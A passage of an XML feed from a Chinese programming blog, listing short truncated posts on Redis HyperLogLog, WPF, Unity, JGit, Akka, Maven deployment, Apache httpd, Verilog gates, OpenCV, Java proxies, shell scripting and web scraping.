      <description>（1）HyperLogLog简介 在Redis 在 2.8.9 版本才添加了 HyperLogLog，HyperLogLog算法是用于基数统计的算法，每个 HyperLogLog 键只需要花费 12 KB 内存，就可以计算接近 2^64 个不同元素的基数。HyperLogLog适用于大数据量的统计，因为成本相对来说是更低的，最多也就占用12kb内存&#xA;业务场景，HyperLogLog常用于大数据量的统计，比如页面访问量统计或者用户访问量统计&#xA;举个例子，假如要统计一个页面的访问量(PV)，这个还比较好办，可以直接用redis计数器或者直接存数据库都可以做，然后如果再加需求，现在要统计一个页面的用户访问量(UV)，一个用户一天内如果访问多次的话，也只能算一次，这样的话，你可能会想到用SET集合来做，因为SET集合是有去重功能的，key存储页面对应的关键字，value存储对应userId，这种方法是可行，可是访问量一多的话，假如有几千万访问量，那就麻烦了，为了统计一个访问量，要频繁创建SET集合对象&#xA;那有其它方法吗？针对上面大访问量的情况，redis是有实现了HyperLogLog算法，HyperLogLog 这个数据结构的发明人 是Philippe Flajolet 教授&#xA;Redis集成的HyperLogLog使用语法主要有pfadd和pfcount，顾名思义，一个是来添加数据，一个是来统计的，使用比较容易掌握，不过算法是比较复杂的，然后为什么用pf？是因为HyperLogLog 这个数据结构的发明人 是Philippe Flajolet教授 ，所以用发明人的英文缩写，这样我们也容易记住这个语法了&#xA;下面给出一些简单例子，启动redis客户端&#xA;127.0.0.1:6379&amp;gt; flushall OK 127.0.0.1:6379&amp;gt; pfadd uv user1 (integer) 1 127.0.0.1:6379&amp;gt; pfcount uv (integer) 1 127.0.0.1:6379&amp;gt; pfadd uv user2 (integer) 1 127.0.0.1:6379&amp;gt; pfcount uv (integer) 2 127.0.0.1:6379&amp;gt; pfadd uv user3 (integer) 1 127.0.0.1:6379&amp;gt; pfcount uv (integer) 3 127.0.0.1:6379&amp;gt; pfadd uv user4 (integer) 1 127.0.0.1:6379&amp;gt; pfcount uv (integer) 4 127.</description>
    </item>
    <item>
      <title>WPF RichTextBox控件用法</title>
      <link>https://bchobby.github.io/posts/543a6f7b40ed5892ddb34e0fe13a0b6f/</link>
      <pubDate>Wed, 17 Jul 2019 20:23:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/543a6f7b40ed5892ddb34e0fe13a0b6f/</guid>
      <description>WPF RichTextBox控件用法 1. 取得已被选中的内容： (1)使用RichTextBox.Document.Selection属性 (2)访问RichTextBox.Document.Blocks属性的“blocks”中的Text 2.WPF RictTextBox内容清空方式 txtXml.Document.Blocks.Clear(); 3. 从文件中读出纯文本文件后放进RichTextBox或直接将文本放进RichTextBox中: private void LoadTextFile(RichTextBox richTextBox, string filename) { richTextBox.Document.Blocks.Clear(); using (StreamReader streamReader = File.OpenText(filename)) { Paragraph paragraph = new Paragraph(); paragraph.Text = streamReader.ReadToEnd(); richTextBox.Document.Blocks.Add(paragraph); } } private void LoadText(RichTextBox richTextBox, string txtContent) { richTextBox.Document.Blocks.Clear(); Paragraph paragraph = new Paragraph(); paragraph.Text = txtContent; richTextBox.Document.Blocks.Add(paragraph); } 取得指定RichTextBox的内容： private string GetText(RichTextBox richTextBox) { TextRange textRange = new TextRange(richTextBox.Document.ContentStart, richTextBox.Document.ContentEnd); return textRange.Text; } 将RTF (rich text format)放到RichTextBox中： private static void LoadRTF(string rtf, RichTextBox richTextBox) { if (string.</description>
    </item>
    <item>
      <title>Unity全方位观察物体</title>
      <link>https://bchobby.github.io/posts/ef8ba1675df3c3ec4b38871273d45408/</link>
      <pubDate>Wed, 17 Jul 2019 13:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef8ba1675df3c3ec4b38871273d45408/</guid>
      <description>最近的项目中遇到了一个需求：要求能全方位并细致的观察物体。&#xA;一开始我的想法是物体旋转，然后相机能够缩放视角，&#xA;于是立马着手写出了以下的代码:&#xA;float x; float y; float xSpeed; float ySpeed; private void Update() { if (Input.GetMouseButton(0))&#x9;//一般是鼠标右键控制，但是工程要打包成Web版本按键会有冲突所以此处用鼠标左键 { x = Input.GetAxis(&#34;Mouse X&#34;) * xSpeed; y = Input.GetAxis(&#34;Mouse Y&#34;) * ySpeed; transform.Rotate(new Vector3(y, x, 0),Space.World);&#x9;//此处遇到了问题，如果没有Space.World物体旋转180度之后旋转轴会反向旋转 } else if (Input.GetAxis(&#34;Mouse ScrollWheel&#34;) != 0) { float ViewValue=0; if (ViewValue&amp;lt; 0) { //范围值限定 if (Camera.main.fieldOfView &amp;lt;= 100) Camera.main.fieldOfView += 2; if (Camera.main.orthographicSize &amp;lt;= 20) Camera.main.orthographicSize += 0.5F; } //Zoom in if (ViewValue &amp;gt; 0) { //范围值限定 if (Camera.</description>
    </item>
    <item>
      <title>如何使用JGIT在远程仓库获取提交详情记录</title>
      <link>https://bchobby.github.io/posts/7b2a3dd4ea4ab6504c60c0c71081a54a/</link>
      <pubDate>Tue, 16 Jul 2019 10:46:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b2a3dd4ea4ab6504c60c0c71081a54a/</guid>
      <description>如何使用JGIT在远程仓库获取提交详情记录 第一步：获取一个GIT对象第二步：根据GIT对象获取所有的版本号第三步：根据筛选的版本号获取指定的记录 这个是JGIT的API：https://download.eclipse.org/jgit/docs/jgit-2.0.0.201206130900-r/apidocs/org/eclipse/jgit/lib/Ref.html&#xA;第一步：获取一个GIT对象 在远程获取GIT时，大部分的时候第一步操作就是将远程仓库的项目克隆到本地，然后对本地的项目进行操作。不同与SVN，SVN可以无需将远程项目克隆到本地。&#xA;克隆分为两种，&#xA;第一：未使用JGIT之前，所需要的项目已经在本地GIT仓库存在了。&#xA;这种情况，需要使用Git.open(new File(“D:\GitCloneRepository” + File.separator + this.pjName));这个方法打开本地的GIT库获取一个GIT对象。&#xA;第二：本地没有，这时候就需要去远程仓库获取，代码在下面。克隆的时候需要设置远程的url、远程git的用户名和密码，然后指定本地仓库的位置即可。&#xA;下面的代码里，我还获取了，克隆下来项目的所有分支。并展示当前所使用的是哪个分支&#xA;！！！！！！JGIT远程获取时，默认获取master分支，使用setCheckFetchedObjects(true)方法，可以克隆所有分支到本地，然后从本地切换分支来操作。（本人使用）&#xA;切换分支方法： git.checkout().setCreateBranch(false).setName(branch).call();&#xA;public class GitUtil { private Git git;// git对象 private String userName;// 资源库账户 private String pwd;// 密码 private String giturl;// git地址 private String pjName;// 项目名 private String branch;// 分支名 public GitUtil2(String userName, String pwd, String giturl, String pjName, String branch) throws Exception { this.userName = userName; this.pwd = pwd; this.giturl = giturl; this.</description>
    </item>
    <item>
      <title>【Akka】入门Demo分析</title>
      <link>https://bchobby.github.io/posts/ed62e068725c3932f867d7a8bd32d82a/</link>
      <pubDate>Tue, 16 Jul 2019 09:50:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed62e068725c3932f867d7a8bd32d82a/</guid>
      <description>最近公司用到spary+akak，然后从官网找了一个入门的例子，现在分析一下&#xA;1.简单demo 首先akka给我的感觉就是一个异步的发送消息的机制，如果我用java来解释，那就是重新起一个新线程，然后调用一个类的方法。&#xA;//简单定义一些用到的消息类 object Greeter { //#greeter-messages def props(message: String, printerActor: ActorRef): Props = Props(new Greeter(message, printerActor)) //#greeter-messages final case class WhoToGreet(who: String) case object Greet } //继承Actor，实现receive方法，printerActor这也是个actor，这里省略 class Greeter(message: String, printerActor: ActorRef) extends Actor { import Greeter._ import Printer._ var greeting = &#34;&#34; def receive = { case WhoToGreet(who) =&amp;gt; greeting = message + &#34;, &#34; + who case Greet =&amp;gt; //#greeter-send-message printerActor ! Greeting(greeting) //#greeter-send-message } } //相当于主函数 object AkkaQuickstart extends App { import Greeter.</description>
    </item>
    <item>
      <title>halcon里union1与union2的区别</title>
      <link>https://bchobby.github.io/posts/04bf208d353fae085f4209a24cd6b5fd/</link>
      <pubDate>Tue, 16 Jul 2019 09:10:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04bf208d353fae085f4209a24cd6b5fd/</guid>
      <description> threshold(image, Region, 128, 255) connection(Region, ConnectedRegions) union1(ConnectedRegions, RegionUnion) 它是将所有区域变成一个整体，选择一个即为所有 union2(ConnectedRegions, RegionUnion) 它是将两个区域合并成一个整体，仅限两个 </description>
    </item>
    <item>
      <title>Could not transfer metadata      Not authorized , ReasonPhrase:Unauthorized. -</title>
      <link>https://bchobby.github.io/posts/47ca3056b37c6ad90ae59e43ce88171a/</link>
      <pubDate>Sun, 14 Jul 2019 17:13:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47ca3056b37c6ad90ae59e43ce88171a/</guid>
      <description>之前在idea中终端里使用阿里云私有库的时候遇到了一个问题,记录一下,问题如下:&#xA;[INFO] BUILD FAILURE&#xA;[INFO] ------------------------------------------------------------------------&#xA;[INFO] Total time: 7.349 s&#xA;[INFO] Finished at: 2019-07-14T17:02:48+08:00&#xA;[INFO] Final Memory: 13M/47M&#xA;[INFO] ------------------------------------------------------------------------&#xA;[ERROR] Failed to execute goal org.apache.maven.plugins:maven-deploy-plugin:2.7:deploy (default-deploy) on project spring_l: Failed to retrieve remote metadata com.yeung:spring_l:1.0&#xA;-SNAPSHOT/maven-metadata.xml: Could not transfer metadata com.yeung:spring_l:1.0-SNAPSHOT/maven-metadata.xml from/to rdc-snapshots (https://repo.rdc.aliyun.com/repository/79018-snaps&#xA;hot-Y0ZSYe/): Not authorized , ReasonPhrase:Unauthorized. -&amp;gt; [Help 1]&#xA;查了很多方法都没有什么用, 后来在某一篇文章的评论里看到了一条命令&#xA;mvn -s &#34;path:/.m2/settings.xml&#34; deploy&#xA;这条命令使指定mvn使用的settings.xml文件, 我也尝试在给我的命令 指定settings.xml文件, 没想到成功了(前提是你仓库的配置信息都没有问题)&#xA;mvn -s &#34;d:/Users/setting.xml文件的路径&#34; clean deploy -DskipTests</description>
    </item>
    <item>
      <title>百度网盘打不开解决方案</title>
      <link>https://bchobby.github.io/posts/2dc9e56874f1fcb2c3bb992f622b2a8b/</link>
      <pubDate>Sun, 14 Jul 2019 12:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dc9e56874f1fcb2c3bb992f622b2a8b/</guid>
      <description>命令行输入：rm -rf ~/baidunetdisk</description>
    </item>
    <item>
      <title>Linux（Apache）Httpd服务器安装，启动及httpd.conf配置详解</title>
      <link>https://bchobby.github.io/posts/33c3cda960f387f07cf0cff610369c34/</link>
      <pubDate>Fri, 12 Jul 2019 16:04:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c3cda960f387f07cf0cff610369c34/</guid>
      <description>文章转载：https://blog.51cto.com/itwish/2160492&#xA;pache HTTP Server（简称Apache或httpd）是Apache软件基金会的一个开放源代码的网页服务器软件，旨在为unix，windows等操作系统中提供开源httpd服务。由于其安全性、高效性及可扩展性，被广泛使用，自1996年4月以来，Apache一直是Internet上最流行的HTTP服务器。它快速、可靠并且可通过简单的API扩充，将Perl／Python等解释器等编译到httpd的相关模块中。&#xA;HTTPD特性及功能 Apache支持许多特性，大部分通过编译的模块实现，这些特性从服务器端的编程语言支持到身份认证方案。通用的语言接口支持Perl，Python，Tcl 和 PHP；流行的认证模块包括mod_access，mod_auth和mod_digest；其他的有SSL和TLS支持（mod_ssl），代理服务器（proxy）模块，很有用的URL重写（由mod_rewrite实现），定制日志文件（mod_log_config），以及过滤支持（mod_include和mod_ext_filter）等。主要特性如下：&#xA;高度模块化设计： core + modules 支持DSO：Dynamic Shared Object ，动态共享库 支持MPM模块：Multipath Processing Modules，多道处理模块 。 同时支持以下功能：虚拟主机 virtual host ；CGI：Common Gateway Interface，通用网关接口；丰富的用户认证机制：basic；digest；用户站点等。&#xA;MPM包含的机制 prefork机制：预先生成进程，服务器启动时会生产多个进程，并且每一个进程处理一个请求，比较稳定，任何一个进程崩溃了都不会影响到其他的进程 。如：select（）函数&#xA;worker机制：这是一种基于线程来工作，服务器启动时生成多个进程，每一个进程要生成多个线程，一个线程用来处理一个请求&#xA;event机制：基于事件驱动机制来工作的，这种机制可以使用一个进程来响应多个请求。它的并发能力是最强的。它在httpd-2.4以后得到支持。如event-driven ——事件驱动&#xA;Httpd yum安装与编译安装&#xA;1）Installing on CentOS6.x , yum源安装&#xA;yum install httpd -y 安装 chkconfig --add httpd 加入启动服务 chkconfig httpd on 默认启动级别自启动 service httpd start 启动httpd服务 httpd相关配置文件： 主配置文件：/etc/httpd/conf/httd.conf ，这个是httpd最主要的配置文档&#xA;扩展配置文件：/etc/httpd/conf.d/*.conf ，这个是httpd的额外配置文档&#xA;文档根目录： /var/www/html ，这个是apache 首页的文档目录 ，即输入http://127.0.0.1 显示页面所在的目录&#xA;服务脚本：/etc/rc.d/init.d/httpd&#xA;错误目录：/var/www/error ，服务器设定错误，请求的资源错误或浏览器访问出现错误等错误文件的存储目录</description>
    </item>
    <item>
      <title>verilog之门级相关知识</title>
      <link>https://bchobby.github.io/posts/57fe2e3ce5fd3ef15ee37e1fae95d728/</link>
      <pubDate>Fri, 12 Jul 2019 15:38:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57fe2e3ce5fd3ef15ee37e1fae95d728/</guid>
      <description>1、veriog中有关门的关键字总共有26个，本篇只介绍简单的几个&#xA;（1）and-------与门&#xA;（2）nand-------与非门&#xA;（3）nor ---------或与门&#xA;（4）or-----------或门&#xA;（5）xor---------异或门&#xA;（6）xnor--------同或&#xA;（7）buf---------缓冲器&#xA;（8）not--------非门&#xA;2、门的声明语句格式：&#xA;&amp;lt;门的类型&amp;gt;[&amp;lt;驱动能力&amp;gt;&amp;lt;延时&amp;gt;]&amp;lt;门实例1&amp;gt;[,&amp;lt;门实例2&amp;gt;，........，&amp;lt;门实例n&amp;gt;]&#xA;门的类型：26个关键字之一&#xA;驱动能力、延时：可选项&#xA;门实例：类似于例化&#xA;实例：&#xA;nand #10 nd1（a，data，clock，clear）&#xA;名为nd1的与非门&#xA;输入为：data、clock和clear&#xA;输出为a&#xA;输入与输出的延时为10个时间单位</description>
    </item>
    <item>
      <title>python opencv提取指定颜色区域及图像腐蚀、膨胀简单介绍</title>
      <link>https://bchobby.github.io/posts/863b103239db7a0463312c09d52ad803/</link>
      <pubDate>Thu, 11 Jul 2019 10:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/863b103239db7a0463312c09d52ad803/</guid>
      <description>以提取红色区域为例，红色有两个区域范围，HSV基本颜色分量范围参考博客:【OpenCV】HSV颜色识别-HSV基本颜色分量范围&#xA;原图为：&#xA;import cv2 import numpy as np img = cv2.imread(&#39;/home/yasin//book.png&#39;) # range of red lower_red = np.array([160, 60, 60]) upper_red = np.array([180, 255, 255]) lower_red2 = np.array([0, 60, 60]) upper_red2 = np.array([10, 255, 255]) # thers is two ranges of red # range of yellow # lower_yellow = np.array([10,100,100]) # upper_yellow = np.array([45,255,255]) # range of grenn # lower_yellow = np.array([36,25,25]) # upper_yellow = np.array([70,255,255]) # change to hsv model hsv = cv2.</description>
    </item>
    <item>
      <title>JDK实现动态代理，以及InvocationHandler接口invoke()方法的三个参数的作用</title>
      <link>https://bchobby.github.io/posts/b25dd8dcf67ef3c14348e836ba3c44e7/</link>
      <pubDate>Wed, 10 Jul 2019 16:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b25dd8dcf67ef3c14348e836ba3c44e7/</guid>
      <description>先上代码：&#xA;首先是要被代理的接口：&#xA;/** * 被代理的主体需要实现的接口 */ public interface Subject { String doSomething(String thingsNeedParm); String doOtherNotImportantThing(String otherThingsNeedParm); } 然后是代理接口的实现类：&#xA;public class SubjectIpml implements Subject { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public String doSomething(String thingsNeedParm) { System.out.println(&#34;使用&#34; + thingsNeedParm + &#34;做了一些事情&#34;); return &#34;调用成功&#34;; } @Override public String doOtherNotImportantThing(String otherThingsNeedParm) { System.out.println(&#34;使用&#34; + otherThingsNeedParm + &#34;做了一些事情&#34;); return &#34;</description>
    </item>
    <item>
      <title>shell中的if语句</title>
      <link>https://bchobby.github.io/posts/7d06fc71123d1743fd79f00c6c929e01/</link>
      <pubDate>Wed, 10 Jul 2019 09:28:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d06fc71123d1743fd79f00c6c929e01/</guid>
      <description>1、基本语法:&#xA;if [ command ]; then 符合该条件执行的语句 fi 2、扩展语法：&#xA;if [ command ];then 符合该条件执行的语句 elif [ command ];then 符合该条件执行的语句 else 符合该条件执行的语句 fi 3、语法说明：&#xA;bash shell会按顺序执行if语句，如果command执行后且它的返回状态是0，则会执行符合该条件执行的语句，否则后面的命令不执行，跳到下一条命令。&#xA;当有多个嵌套时，只有第一个返回0退出状态的命令会导致符合该条件执行的语句部分被执行,如果所有的语句的执行状态都不为0，则执行else中语句。&#xA;返回状态：最后一个命令的退出状态，或者当没有条件是真的话为0。&#xA;注意：&#xA;1、[ ]表示条件测试。注意这里的空格很重要。要注意在&#39;[&#39;后面和&#39;]&#39;前面都必须要有空格&#xA;2、在shell中，then和fi是分开的语句。如果要在同一行里面输入，则需要用分号将他们隔开。&#xA;3、注意if判断中对于变量的处理，需要加引号，以免一些不必要的错误。没有加双引号会在一些含空格等的字符串变量判断的时候产生错误。比如[ -n &#34;$var&#34; ]如果var为空会出错&#xA;4、判断是不支持浮点值的&#xA;5、如果只单独使用&amp;gt;或者&amp;lt;号，系统会认为是输出或者输入重定向，虽然结果显示正确，但是其实是错误的，因此要对这些符号进行转意&#xA;6、在默认中，运行if语句中的命令所产生的错误信息仍然出现在脚本的输出结果中&#xA;7、使用-z或者-n来检查长度的时候，没有定义的变量也为0&#xA;8、空变量和没有初始化的变量可能会对shell脚本测试产生灾难性的影响，因此在不确定变量的内容的时候，在测试号前使用-n或者-z测试一下&#xA;9、? 变量包含了之前执行命令的退出状态（最近完成的前台进程）（可以用于检测退出状态）&#xA;常用参数：&#xA;文件/目录判断：&#xA;常用的： [ -a FILE ] 如果 FILE 存在则为真。 [ -d FILE ] 如果 FILE 存在且是一个目录则返回为真。 [ -e FILE ] 如果 指定的文件或目录存在时返回为真。 [ -f FILE ] 如果 FILE 存在且是一个普通文件则返回为真。 [ -r FILE ] 如果 FILE 存在且是可读的则返回为真。 [ -w FILE ] 如果 FILE 存在且是可写的则返回为真。（一个目录为了它的内容被访问必然是可执行的） [ -x FILE ] 如果 FILE 存在且是可执行的则返回为真。 不常用的： [ -b FILE ] 如果 FILE 存在且是一个块文件则返回为真。 [ -c FILE ] 如果 FILE 存在且是一个字符文件则返回为真。 [ -g FILE ] 如果 FILE 存在且设置了SGID则返回为真。 [ -h FILE ] 如果 FILE 存在且是一个符号符号链接文件则返回为真。（该选项在一些老系统上无效） [ -k FILE ] 如果 FILE 存在且已经设置了冒险位则返回为真。 [ -p FILE ] 如果 FILE 存并且是命令管道时返回为真。 [ -s FILE ] 如果 FILE 存在且大小非0时为真则返回为真。 [ -u FILE ] 如果 FILE 存在且设置了SUID位时返回为真。 [ -O FILE ] 如果 FILE 存在且属有效用户ID则返回为真。 [ -G FILE ] 如果 FILE 存在且默认组为当前组则返回为真。（只检查系统默认组） [ -L FILE ] 如果 FILE 存在且是一个符号连接则返回为真。 [ -N FILE ] 如果 FILE 存在 and has been mod如果ied since it was last read则返回为真。 [ -S FILE ] 如果 FILE 存在且是一个套接字则返回为真。 [ FILE1 -nt FILE2 ] 如果 FILE1 比 FILE2 新, 或者 FILE1 存在但是 FILE2 不存在则返回为真。 [ FILE1 -ot FILE2 ] 如果 FILE1 比 FILE2 老, 或者 FILE2 存在但是 FILE1 不存在则返回为真。 [ FILE1 -ef FILE2 ] 如果 FILE1 和 FILE2 指向相同的设备和节点号则返回为真。 字符串判断</description>
    </item>
    <item>
      <title>Python_爬虫_爬取豆瓣Top250电影排行榜</title>
      <link>https://bchobby.github.io/posts/5215fb6e65b10526437404e2f7c63f78/</link>
      <pubDate>Tue, 09 Jul 2019 20:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5215fb6e65b10526437404e2f7c63f78/</guid>
      <description>1. 模块准备&#xA;（1）Requests：简化了urllib的许多操作，在爬虫程序中最受欢迎。通过get()方法从服务器上下载网页，但是下载的为网页的源代码，需要进行解析。通过pip install requests进行安装。&#xA;（2）BeautifulSoup4 (BS4)：是一个网页解析利器。通过pip install bs4进行安装。&#xA;2. 程序实现&#xA;（1）核心程序&#xA;import requests import bs4 #获取榜单 res = requests.get(&#39;https://movie.douban.com/top250&#39;) #解析网页内容 soup = bs4.BeautifulSoup(res.text, &#39;html.parser&#39;) targets = soup.find_all(&#39;div&#39;, class_=&#39;hd&#39;) for each in targets: print(each.a.span.text) （2）完整程序&#xA;import requests import bs4 import re def open_url(url): # 使用代理 # proxies = {&#34;http&#34;: &#34;127.0.0.1:1080&#34;, &#34;https&#34;: &#34;127.0.0.1:1080&#34;} headers = {&#39;user-agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36&#39;} # res = requests.</description>
    </item>
    <item>
      <title>python爬虫动态HTML处理（Selenium &#43; PhantomJS 快速入门）</title>
      <link>https://bchobby.github.io/posts/c81c89bdd3480bf766a19a027dab9502/</link>
      <pubDate>Tue, 09 Jul 2019 19:48:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c81c89bdd3480bf766a19a027dab9502/</guid>
      <description>1. HTML介绍 1.1 javaScript JavaScript 是网络上最常用也是支持者最多的客户端脚本语言。它可以收集 用户的跟踪数据，不需要重载页面直接提交表单，在页面嵌入多媒体文件，甚至运行网页游戏。 我们可以在网页源代码的&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://statics.huxiu.com/w/mini/static_2015/js/sea.js?v=201601150944&#34; &amp;gt;&amp;lt;/script&amp;gt; 1.2 jQuery jQuery 是一个十分常见的库，70% 最流行的网站（约 200 万）和约 30% 的其他网站 （约 2 亿）都在使用。一个网站使用 jQuery 的特征，就是源代码里包含了 jQuery 入口，比如:&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://statics.huxiu.com/w/mini/static_2015/js/jquery-1.11.1.min.js?V =201512181512&#34;&amp;gt;&amp;lt;/script&amp;gt; 如果你在一个网站上看到了 jQuery，那么采集这个网站数据的时候要格外小心。jQuery可以动态地创建 HTML 内容，只有在JavaScript 代码执行之后才会显示。如果你用传统 的方法采集页面内容，就只能获得 JavaScript 代码执行之前页面上的内容。&#xA;1.3 Ajax 我们与网站服务器通信的唯一方式，就是发出 HTTP 请求获取新页面。如果提交表单之后，或从服务器获取信息之后，网站的页面不需要重新刷新，那么你访问的网站就在用 Ajax 技术。&#xA;Ajax 其实并不是一门语言，而是用来完成网络任务（可以认为它与网络数据采集差不多）的一系列技术。&#xA;Ajax 全称是 Asynchronous JavaScript and XML（异步 JavaScript 和 XML），网站不需要使用单独的页面请求就可以和网络服务器进行交互 （收发信息）。&#xA;1.5 DHTML 和Ajax 一样，动态 HTML（Dynamic HTML， DHTML）也是一系列用于解决网络问题的技术集合。&#xA;DHTML 是用客户端语言改变页面的 HTML 元素（HTML、CSS，或者二者皆被改变）。比如页面上的按钮只有当用户移动鼠标之后才出现，背景色可能每次点击都 会改变，或者用一个 Ajax 请求触发页面加载一段新内容。</description>
    </item>
    <item>
      <title>单机监控-shell脚本监测java应用程序是否宕机</title>
      <link>https://bchobby.github.io/posts/4adb9c4bf6892fa4aa35546617dbd9e9/</link>
      <pubDate>Tue, 09 Jul 2019 14:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4adb9c4bf6892fa4aa35546617dbd9e9/</guid>
      <description>前言 由于工作中很多项目需要java应用程序在后台执行任务，但是有些时候后台运行的java应用程序会莫名其妙的死掉，此时运维/运营人员无法及时发现宕机的应用程序，只能够通过业务流程不正常才能够发现宕机的应用，对业务有很大的影响，由于公司服务器资源比较有限，无法部署统一的监测系统，特采用shell脚本的方式来监测java的应用进程是否正常运行，无须在业务代码中嵌入监控代码，做到低耦合，高内聚。&#xA;监测原理 原理图&#xA;java应用启动时，采用自定义脚本方式启动，然后将应用的当前进程号进行应用的根目录下生成pid.txt文件shell脚本执行的时候查找指定目录下的所有pid.txt文件，然后根据每个pid.txt中的进程号判断当前的进程是否存活如果根据进程号没有找到指定的进程则认为进程死掉，主动发送告警（此处采用钉钉群机器人的方式告警） 监控脚本 java应用启动脚本&#xA;#!/bin/sh root_dir=$(dirname $(readlink -f &#34;$0&#34;)) class_path=$root_dir/bin:$root_dir/lib/* pid_file=$root_dir/pid.txt console_file=$root_dir/logs/console.out error_file=$root_dir/logs/errors.out echo &#34;Starting channel app in $root_dir ...&#34; if [ ! -f $pid_file ]; then nohup java -cp $class_path com.xxx.StartUp &amp;gt;&amp;gt; $console_file 2&amp;gt;&amp;amp;1 &amp;amp; echo $! &amp;gt; $pid_file echo &#34;[$(date)]: app in $root_dir started successful!&#34; &amp;gt;&amp;gt; $console_file echo &#34;pid = $!&#34; &amp;gt;&amp;gt; $console_file echo &#34;[$(date)]: app in $root_dir started successful!&#34; echo &#34;pid = $!&#34; else echo &#34;</description>
    </item>
    <item>
      <title>SpringBoot 集成 Spring Security（9）——解决 UserNotFoundException 不抛出问题</title>
      <link>https://bchobby.github.io/posts/fce4f67db5ce3e4117b28fa84d6519db/</link>
      <pubDate>Tue, 09 Jul 2019 03:07:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fce4f67db5ce3e4117b28fa84d6519db/</guid>
      <description>一、前言 《SpringBoot 集成 Spring Security》系列文章，原本只是我自己学习后写的笔记，没想到受到大家的欢迎，能够对大家带来帮助，让我感到十分高兴。但说起来我也只是初学者，这一系列文章中可能也存在错误，本文是为了解决 UserNotFoundException 这个异常无法抛出而写出。&#xA;这个问题大致是这样的，我们知道 Spring Security 的验证处理是由某个 Provider 处理的，在 Provider 中通过对应的 UserDetailsService 的 loadUserByUsername() 来决定如何加载数据库中的用户信息。&#xA;以 《SpringBoot集成Spring Security（3）——异常处理》 代码为例，采用默认的用户名密码登陆方式，我们在 CustomUserDetailsService 类中，有这么一行代码：&#xA;@Override public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { ... // 判断用户是否存在 if(user == null) { throw new UsernameNotFoundException(&#34;用户名不存在&#34;); } ... } 但是实际运行后你会发现，当用户不存在时，只会抛出 BadCredentialsException，而不是 UsernameNotFoundException，百度下后发现这个问题的人不在少数。在本文中，我将介绍为什么会无法抛出 UsernameNotFoundException，以及如何解决这个问题。&#xA;二、导致的原因是什么？ 首先说明，出现这种情况只有在你使用默认的用户名密码登陆方式，且没有自定义 Provider 的情况下，才会发生！如果你有自定义 Provider，仍然出现这个问题，说明代码写的有问题，这一点在后面我会说。&#xA;由提供的源码地址中，第三章和第四章两篇文章是一个项目。分别是 springboot_security03 和 springboot_security03_filter。由于前者是自定义 Provider 实现，因此理论上不会出现这个问题，所以我们以后者代码为例。&#xA;运行 springboot_security03_filter 项目，发现当用户不存在时，的确抛出的是 BadCredentialsException。我们给抛出异常那行代码加断点，进行调试。&#xA;@Service(&#34;userDetailsService&#34;) public class CustomUserDetailsService implements UserDetailsService { .</description>
    </item>
    <item>
      <title>MFC获得当前应用程序目录的GetCurrentDirectory()和GetModuleFileName()函数</title>
      <link>https://bchobby.github.io/posts/226ac49673d3206613e69fa50761860f/</link>
      <pubDate>Mon, 08 Jul 2019 20:40:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/226ac49673d3206613e69fa50761860f/</guid>
      <description>在 开发过程中经常需要获得程序当前的运行目录，这时就可以使用GetCurrentDirectory()和GetModuleFileName()函 数，GetCurrentDirectory只是返回当前进程的当前目录,而并不是进程的镜像文件(.exe)所在的目 录，GetCurrentDirectory()适用于XP等系统，,在WinCE上不能使用，GetModuleFileName()适用于 WinCE2.0以后. 函数说明:&#xA;DWORD WINAPI GetModuleFileName(&#xA;HMODULE hModule,&#xA;LPTSTR lpFileName,&#xA;DWORD nSize&#xA;);&#xA;函数功能&#xA;此函数得到当前应用程序的运行目录，还包括应用程序的文件名。&#xA;参数说明&#xA;hModule：要获取文件名的模块名柄，可以是运用LoadLiberary得到的句柄,null表示当前模块&#xA;lpFileName:输出参数，存放取得的文件名&#xA;nSize:lpFileName参数的长度&#xA;DWORD GetCurrentDirectory(&#xA;DWORD nBufferLength, // size of directory buffer&#xA;LPTSTR lpBuffer // directory buffer&#xA;);&#xA;函数功能&#xA;找到当前进程的当前目录&#xA;参数说明&#xA;nBufferLength：lpBuffer缓冲区的长度&#xA;lpBuffer：指定一个预定义字串，用于装载当前目录&#xA;返回值&#xA;调用成功 返回装载到lpBuffer的字节数。&#xA;使用方法:&#xA;//下面的一段代码主要是获得当前程序的运行目录(.exe)所在的目录&#xA;{&#xA;CString path;&#xA;GetModuleFileName(NULL,path.GetBufferSetLength(MAX_PATH+1),MAX_PATH);&#xA;path.ReleaseBuffer();&#xA;int pos = path.ReverseFind(&#39;\\&#39;);&#xA;path = path.Left(pos);&#xA;}&#xA;GetModuleFileName函数&#xA;WINAPI DWORD GetModuleFileName(&#xA;HMODULE hModule,&#xA;LPWSTR lpFilename,&#xA;DWORD nSize</description>
    </item>
    <item>
      <title>Android动态申请权限（一次申请多个动态权限）</title>
      <link>https://bchobby.github.io/posts/a958fbb57943f3c7356a1c53a3a6111e/</link>
      <pubDate>Mon, 08 Jul 2019 15:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a958fbb57943f3c7356a1c53a3a6111e/</guid>
